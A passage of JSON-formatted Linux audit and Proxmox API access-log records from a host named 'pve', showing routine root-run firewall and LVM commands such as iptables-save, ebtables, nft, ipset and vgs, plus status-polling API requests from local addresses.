a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965444432,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965444.432:65627): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d734b9d0 a1=64f8d73be760 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506017,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965506.017:65910): arch=c000003e syscall=59 success=yes exit=0 a0=6207d0a63ac8 a1=7ffcc76bd180 a2=6207fa8a6680 a3=6207d0a4724e items=2 ppid=63303 pid=63305 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755226,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.226:66975): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966369847,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1117"} {"@timestamp":1781964144401,"@rawstring":"node=pve type=EXECVE msg=audit(1781964144.401:59763): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965443016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.016:65626): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954eb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965506.015:65909): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcc76bd140 a1=6207fa8ad310 a2=6207fa8a6680 a3=5 items=2 ppid=63303 pid=63304 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755219,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.219:66974): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966369847,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964143082,"@rawstring":"node=pve type=EXECVE msg=audit(1781964143.082:59762): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965443008,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965443.008:65623): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954df0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965506003,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965506.003:65907): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63303 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755212,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.212:66973): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966369847,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:28 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964143077,"@rawstring":"node=pve type=EXECVE msg=audit(1781964143.077:59759): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965437999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.999:65620): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63029 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505988,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.988:65906): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63302 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755204,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.204:66972): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966367802,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:27 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781964138067,"@rawstring":"node=pve type=EXECVE msg=audit(1781964138.067:59756): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965437992,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965437.992:65617): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.979:65905): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63301 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755197,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.197:66971): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966367802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781964138060,"@rawstring":"node=pve type=EXECVE msg=audit(1781964138.060:59753): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965435845,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.845:65614): arch=c000003e syscall=59 success=yes exit=0 a0=619e509e30a0 a1=619e509dfe20 a2=619e509c1680 a3=5 items=2 ppid=63021 pid=63027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505962,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.962:65904): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63300 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755190,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.190:66969): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781966367802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:26 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964135677,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.677:59750): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965435839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.839:65613): arch=c000003e syscall=59 success=yes exit=0 a0=619e27918ac8 a1=7ffe73112060 a2=619e509c1680 a3=619e278fc24e items=2 ppid=63021 pid=63023 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505947,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.947:65903): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63299 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755183,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.183:66968): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966367802,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:26 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135673,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.673:59749): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965435839,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.839:65612): arch=c000003e syscall=59 success=yes exit=0 a0=7ffe73112020 a1=619e509c8310 a2=619e509c1680 a3=5 items=2 ppid=63021 pid=63022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.940:65902): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=55ce033af740 items=0 ppid=1156 pid=63298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965755177,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.177:66967): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966366846,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:26 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1110"} {"@timestamp":1781964135672,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.672:59748): argc=1 a0=\"date\""} {"@timestamp":1781965435833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.833:65610): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505936,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.936:65901): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc134470 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63298 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755171,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.171:66966): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781966366846,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:25 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1129"} {"@timestamp":1781964135668,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.668:59746): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965435827,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.827:65609): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505930,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.930:65900): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc135400 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63297 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755165,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.165:66965): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781966365488,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:24 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135662,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.662:59745): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965435820,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.820:65608): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.921:65899): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63296 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755158,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.158:66964): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781966365488,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:24 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 463"} {"@timestamp":1781964135655,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.655:59744): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965435811,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.811:65607): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505912,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.912:65898): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1384f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63295 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755151,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.151:66963): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966363784,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964135649,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.649:59743): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965435803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.803:65606): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.906:65897): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f52c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63294 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755142,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.142:66962): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966363784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:22 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964135642,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.642:59742): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965435799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.799:65605): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5c3cd3aec740 items=0 ppid=1156 pid=63016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965505898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.898:65896): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b9980 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63293 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755137,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.137:66961): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781966363784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 476"} {"@timestamp":1781964135636,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.636:59740): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965435798,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.798:65604): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc100d00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505888,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.888:65895): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63292 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755134,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.134:66960): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966363784,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:22 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135630,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.630:59739): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965435791,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.791:65603): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13b8d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63015 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505877,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.877:65894): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63291 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755133,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.133:66959): argc=1 a0=\"date\""} {"@timestamp":1781966362366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1116"} {"@timestamp":1781964135625,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.625:59738): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965435783,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.783:65602): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2c10 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63014 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505873,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.873:65893): arch=c000003e syscall=59 success=yes exit=0 a0=5a43b0de80e0 a1=5a43b0de4e60 a2=5a43b0dc6680 a3=5 items=2 ppid=63284 pid=63290 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755128,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.128:66957): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781966362366,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:21 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781964135620,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.620:59737): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965435777,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.777:65601): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13dd80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63013 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505870,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.870:65892): arch=c000003e syscall=59 success=yes exit=0 a0=5a439ec7cac8 a1=7ffed7398c60 a2=5a43b0dc6680 a3=5a439ec6024e items=2 ppid=63284 pid=63286 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755119,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.119:66956): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781966361366,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:39:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 235"} {"@timestamp":1781964135614,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.614:59736): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965435768,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.768:65600): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147860 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63012 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.868:65891): arch=c000003e syscall=59 success=yes exit=0 a0=7ffed7398c20 a1=5a43b0dcd310 a2=5a43b0dc6680 a3=5 items=2 ppid=63284 pid=63285 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965755111,"@rawstring":"node=pve type=EXECVE msg=audit(1781965755.111:66955): argc=1 a0=\"iptables-save\""} {"@timestamp":1781966361366,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:39:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964135609,"@rawstring":"node=pve type=EXECVE msg=audit(1781964135.609:59735): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965435757,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965435.757:65599): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f4830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63011 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965505864,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965505.864:65889): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 